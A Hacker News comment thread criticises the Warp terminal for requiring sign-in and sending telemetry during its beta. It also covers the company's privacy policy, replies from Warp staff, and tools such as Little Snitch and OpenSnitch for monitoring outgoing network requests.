It just results in loosing infrequently used but important features. First it gets moved from a button to a menu, then to a sub-menu and eventually removed.

[db48x]

Exactly. I prefer Emacs–style programs where the number of features grows without end, and everyone customizes the UI and keybindings to make the features they like best easiest to use. Every time someone thinks of a new way that Emacs can make their life easier they can add it to Emacs immediately, without asking for permission or even sending in a pull request. Later, if they think the feature is polished enough and others might find it useful, they can send a pull request either to Emacs or to the Emacs Lisp Package Archive (ELPA), or to MELPA (should they not like the minor licensing restrictions on ELPA), or just post it on EmacsWiki or their blog or Facebook page or whatever for others to copy from.

But for that to work you have to start with something that is both very extensible, and yet is also coherently designed. The extensibility has to be a strong part of that initial design, so that the software is designed to be malleable.

[cors-fls]

I cant use it either (mostly because it's Mac only and also because of the sign-in requirement), but at least they are transparent about it :

https://docs.warp.dev/getting-started/getting-started-with-w...

https://docs.warp.dev/getting-started/privacy

[tedivm]

That privacy policy is sketchy. It starts with this-

> Our general philosophy is complete transparency and control of any data leaving your machine. This means that in general any data sharing is opt-in and under the control of the user, and you should be able to remove or export that data from our servers at any time.

They then go on, further down the page, to say that this first paragraph is a complete lie-

> However, for our beta phase, we do send telemetry by default and we do associate it with the logged in user because it makes it much easier to reach out and get feedback when something goes wrong.

[130e13a]

is that even legal? or can you just write whatever you want into a privacy policy?

[doctor_eval]

It’s a policy - a set of rules. It’s only a problem if you say something and don’t do it. But even then, enforcement is most likely to come from interested parties like payment providers, who couldn’t generally care less as long as it’s not their data that’s compromised.

[pkaye]

That is the modern experience part.

[baby]

I knew this was too good to be true :(

I feel bad for the engineers who worked on this, as this is really awesome but probably will not find market fit

[qbasic_forever]

Wait, you _have_ to have a github account to even open this terminal?

Yikes.

[Mister_Snuggles]

I remember an iOS email client many years ago that required a Dropbox login for some reason. It made no sense that an email client would require me to log in to a cloud file storage/syncing service - in my mind these two things are completely unrelated. That email client ended up disappearing.

I expect that a terminal program which requires a login to a completely unrelated service will end up meeting the same fate as that email client did.

[runlevel1]

> an iOS email client many years ago that required a Dropbox login for some reason.

IIRC, that was Mailbox. Dropbox bought them a month after launch and then, sadly, killed it off two years later.[^1]

[1]: https://www.theverge.com/2015/12/8/9873268/why-dropbox-mailb...

[Mister_Snuggles]

Yes, I believe that's the one. Thanks!

I couldn't remember it, but with a generic name like Mailbox that's not a surprise.

[wildmanx]

> I really wanted to like it, too. The screenshots look great

Agreed! Let's just wait for a FOSS alternative to pop up that has a few similar fundamental features. Don't need the cloud-multi-user-account-based stuff.

[krick]

To be honest, for terminal not being open-source is enough for me. I'm not Stallman, but, terminal, seriously…

[faldore]

1) installed it 2) login required 3) uninstalled it

try again

[Pr0ject217]

Just curious, what tools do you prefer to use to identify network requests from recently installed applications such as this?

[_jal]

I can't imagine using a Mac without Little Snitch: https://obdev.at/products/littlesnitch

Among other things, it is disturbing how chatty a lot of things are. (Did you know Apple Mail keeps track of which account you email different people with and wants to send that to configuration.apple.com, even if you have carefully disabled everything Icloud related?)

There's a similar tool for Linux, but I usually keep a networkless VM around for playing with potentially sketchy things.

[_tom_]

Closed source, monitors everything on the machine.

How much do you trust little snitch?

And then asking to keep a copy of your drivers license for ten years is a complete non starter. (Yes, that's in their privacy policy)

[1123581321]

There is a section about being required by the EU to determine location for VAT collection purposes. If their payment processor can’t determine your location sufficiently, then they have to collect data identifying your location and store it for tax/proof purposes. That’s something they don’t want to ever have to do, obviously.

Here’s a link to the policy: https://www.obdev.at/privacy/index.html

[okamiueru]

On Linux there is OpenSnitch. A bit rough around the edges, but does what it needs to do well.

[Pr0ject217]

Thank you.

[battles]

On the mac there's Little Snitch.

[epolanski]

Any Windows equivalent?

[jacamera]

Fiddler is fantastic: https://www.telerik.com/download/fiddler

[asadlionpk]

I also would like to know this.

[systemvoltage]

Also, sorry if this is harsh but speaking my mind: why is important to mention what the underlying programming language is?

It seems like misdirection and sleezy marketing. Products built with Rust are particularly susceptible to it.

[asadlionpk]

This. I was excited to try it but I cannot use this on my work computer at all.

[ilovecaching]

It’s a closed source paid spyware development tool that you rely on every day to get work done, what’s not to love about this idea?

[BarbaPeru]

Yep, I can pay money for a piece of software so important for my workflow, but no telemetry, no login and other stupid stuff even in opt-in/opt-out fashion.

[drcongo]

I just downloaded it, but then thankfully read this comment before running it. No way do I want my terminal sending stuff to Google.

[drdaeman]

Exactly the same, clicked "comments" as I was downloading it, saw the first comment, deleted the installer.

I'd be supportive of "report issue" buttons (I'd use them, yes), and occasional "Hey, you've used this app for a week/two/month, may we send some telemetry? We need it to better understand how the app is used. Here's the data, is it OK to upload it?" prompts. Yes, as long as I don't see anything sensitive in the payload - it sure is okay, you respect me and I respect you (with bonus points for politely asking); and I'll be sure to reaching out if I'd see anything sensitive.

Phoning home from the get-go for anything but an anonymous update check and requiring some account is a hard "no".

[alokedesai]

I definitely understand the concerns. For our public beta, we do send telemetry and associate it with the logged in user because it makes it much easier to reach out and get feedback when something goes wrong. But we only track metadata, never console output. For an exhaustive list of events that we track, see here: https://docs.warp.dev/getting-started/privacy#exhaustive-tel.... Once we hit general availability, our plan is to make telemetry completely opt-in and anonymous.

[tedivm]

Wow, this is just unbelievable. You don't say anywhere on your privacy page that you are associating this data with specific users.

Everything your company says regarding privacy seems to be a complete lie. You contradict yourselves everywhere. As a security officer I would never allow any company whose security I run to use your product- even if you fix this issues now who knows if you're going to lie again in the future.

Trust is hard to regain once lost, and your company definitely blew it here.

[progbits]

Maybe don't put this lie in the middle of the homepage?

> Private & Secure

> All cloud features are opt-in. Data is encrypted at rest.

[jbverschoor]

Encryption at rest is fun until the keys are leaked.

[ASalazarMX]

Or prefix it with a "Final product will be ..."

[cameldrv]

This looks very interesting to me, but some of this telemetry is a deal breaker. On your privacy page, it says "Our general philosophy is complete transparency and control of any data leaving your machine." If I have complete control of any data leaving my machine, can I opt to turn off the telemetry entirely?

[broknbottle]

of course not. how else will they be able to make you the product without their trojan rabbit sending back all kinds of telemetry goodness.

[runako]

> we only track metadata, never console output

It would be meaningful to indicate whether you track console input as well.

[alokedesai]

That's an important callout! By console output, we really mean output from the pseudoterminal, which includes command input and output printed to the terminal.

We don't store any content of _any_ part of a command that's executed in Warp.

[sorokod]

... and never will?

[NateEag]

Why even ask?

Founders don't really have much control over what the tools they create wind up being used for.

Assume that some people will use any tool you encounter for the worst thing it can possibly do.

If the tool has significant potential to do things that bother you, don't use it.

[sorokod]

Why do you say "wind up being used for" as if it is act of god rather than a business decision?

[JoBrad]

From their link, it seems they don’t. Agree that positive confirmation would be good, for beta.

> We do not store any data from the command input or output itself as part of our telemetry.

[zachlloyd]

This is correct. We do not send or store any terminal contents (input or outputs) to our server.

The only case in which that is not true is if a user elects to use Warp to share the output of a command using our Block Sharing feature.

[RL_Quine]

With the rest of your responses I'm left looking for weasel words in here.

[aaomidi]

You should do that now and just ask on startup.

Honestly opting in by default is, at least in my opinion, not acceptable.

People who would say no to that popup would not appreciate you randomly reaching out to them anyway.

[OutsmartDan]

That's a ton of data being collected. I would rather much have this submitted during a crash, rather than opt-in/opt-out. I'd not want to use a terminal that has data collection that crosses the internet every time I use it.

[zhengt]

Totally understand if you don't feel comfortable using it!

The reason we don't submit this only during a crash, is because there are a lot of other things we want to know about users like: Which features are they using? Are they sticking to warp as their daily driver? How much time do they spend in the app?

We do want to make the telemetry opt-in after Warp is out of beta.

[OutsmartDan]

There are better ways to gather feedback, even if your application is in beta. Most loyal customers will let you know what’s wrong and what features they’re most excited about- that honest feedback is far superior than telemetry data. You can even add a survey form after the application exits to try and maximize the feedback loop.

Totally understand you’re a new venture backed business, however, you most likely are targeting the wrong group of users by automatically sending data over the internet for “no reason”.

[sofixa]

> Most loyal customers will let you know what’s wrong and what features they’re most excited about- that honest feedback is far superior than telemetry data

That's just wrong. Very few users, regardless of loyalty, would bother sending feedback. That's why many companies have drives with gift cards or whatever as reward for participating in giving feedback. And even then, you'd get a limited subset of users ( loyal, loud, with time available to waste) instead of everyone like with telemetry.

[kmonsen]

How are you checking if they stick to warp as daily driver? Are you checking for other shells open?

[zhengt]

We are seeing if people are using Warp regularly.

We don’t know about any shells outside of Warp so technically, they could also using other terminals - but that’s enough info for our product development.

We never track the contents of commands. A full telemetry table is included in our user docs.

[blktiger]

I definitely will not try it if the analytics part are not optional, though I am glad to see you're documenting exactly what gets sent. I might consider trying it and even opt-in to the analytics once you make it optional.

[GordonS]

At least for EU users, you cannot collect information like this without the explicit consent of those users.

It's 2022 FFS, and still companies are over-stepping the mark - companies behaving like yours are exactly the reason GDPR and ePrivacy etc exist in the first place :/

[privacyonsec]

well, they gotta pay back those $17M to investors !

[lprd]

Yup, that's an immediate deal-breaker for me. Shame because this looks really interesting :/

[jedisct1]

Yes, but it's written in Rust.

[epolanski]

> I really wanted to like it, too. The screenshots look great

My thoughts exactly. I don't use potential keyloggers on my browser (think grammarly or similar), I'm not going to install a terminal making requests or getting my data as I use it.

[SLWW]

They have a "layman's terms" section where it states that for now, in beta, telemetry is going to be on regardless https://www.warp.dev/privacy

They promise that after beta you won't need Github, and telemetry will be optional.

Though imo this is just as easy to read and understand: https://assets-global.website-files.com/60352b1db5736ada4741...

[jcranberry]

How do you check which requests its making? Do you just use tcpdump or something?

[Fnoord]

You could use a layer 7 firewall for this purpose. I use Little Snitch on macOS and Opensnitch on Linux. Given this application is macOS only right now, I would bet OP used LS since its popular on macOS.

[jcranberry]

Thank you. Im dual booting osx and linux right now so those will both come in handy.

[sofixa]

Just FYI, sentry is error capturing and reporting tool, not "telemetry". It could be potentially abused to collect "telemetry", but there are far better tools for that so it'd make little sense IMHO. I've used it extensively for error management in a previous job and it worked very well, correlating with env, release, etc. and it was great ( it was the self-hosted version, but still). Not affiliated in any way, just a happy "customer" ( never paid so not really a customer).

[w1nk]

As a user of sentry technically, you're also aware of how difficult it is to keep user information out of those errors and stacktraces. Just paths are enough to start leaking information about you and your system that just shouldn't leak from your terminal to the internet.

[supramouse]

yeah, hard pass

edit: no windows or linux support ???

[kovac]

There's no reason for a terminal emulator to connect to the internet or collect telemetry opt-in or not. None whatsoever.

[rschachte]

UI looks great to me too. Thanks for the comment, I'll skip on downloading this though because of the outgoing requests

[hestefisk]

Not touching it with a 10-foot pole.

[wallfacer120]

What is your tool of choice for intercepting outgoing requests like this?

[baggiponte]

That’s concerning - I am also wondering if iTerm too sends this data…

[rubyist5eva]

yeah I just block all of those domains in my dns reverse proxy now, idgaf

[jbverschoor]

Thank you!

[hoechst]

lol

[jacobsimon]

Come on. You must realize VS Code and basically every website you use collects telemetry data, which is rarely for anything nefarious except product improvements. If GitHub/Microsoft had released this product, would you be raising the same concerns?

[daenney]

We can set the bar higher than “other people do this too so it’s fine”.

> If GitHub/Microsoft had released this product, would you be raising the same concerns?

Yes. It’s one of the reasons I use the open source build instead.

[fractalf]

Me too. VSCodium FTW https://vscodium.com/

[exdsq]

Maybe not but I'd trust Microsoft has a decent security and privacy team working on this more than a startup. What if they're logging the wrong stuff and my data is leaked?

[robertlagrant]

Good point - Microsoft products practically created the modern security industry. They're experts.

[michaelmrose]

Did you mean that old school Microsoft was so badly insecure that they created a massive opportunity for security professionals.

[robertlagrant]

I did mean that, yes.

[alpaca128]

You mean like when Microsoft started uploading all handwriting & voice recognition inputs including passwords?

History has shown that telemetry is effectively spyware until proven otherwise, no matter who does it.

[chaxor]

I think you could've had a full stop before 'until proven otherwise'.

[exdsq]

Yeah but if Microsoft fuck up badly enough I can sue them, startups are less likely to survive a significant breach (especially if the thing being breached is 100% of their product). There's just far less risk.

[GekkePrutser]

I use VS Codium for this reason and self host git so yeah for me that's definitely a thing. And I have a ton of stuff to block as much telemetry from other software and websites as I can, including on mobile.

It's not for everyone but yes there are still Don Quixotes like me fighting the army of windmills :)

I suspect the proportion of us here at HN is pretty high too.

[michaelmrose]

A remote system by definition has access to the information you give them and you should manage that carefully. Meanwhile your filesystem has access to your entire life, heart, and mind unvarnished, edited, and unsegregated with ephemera alongside the deep facts of your mind.

Microsoft is a criminal enterprise that relatively recently got god to a degree and actually started caring about their image at home while still facilitating crime and corruption abroad. The fact that many are stupid enough to trust them with their data does not imply that this is a reasonable choice.

[Lammy]

> which is rarely for anything nefarious except product improvements

Up until now, you've had to make these design decisions on your own, relying only on perplexing intangibilities like 'taste' and 'intuition'.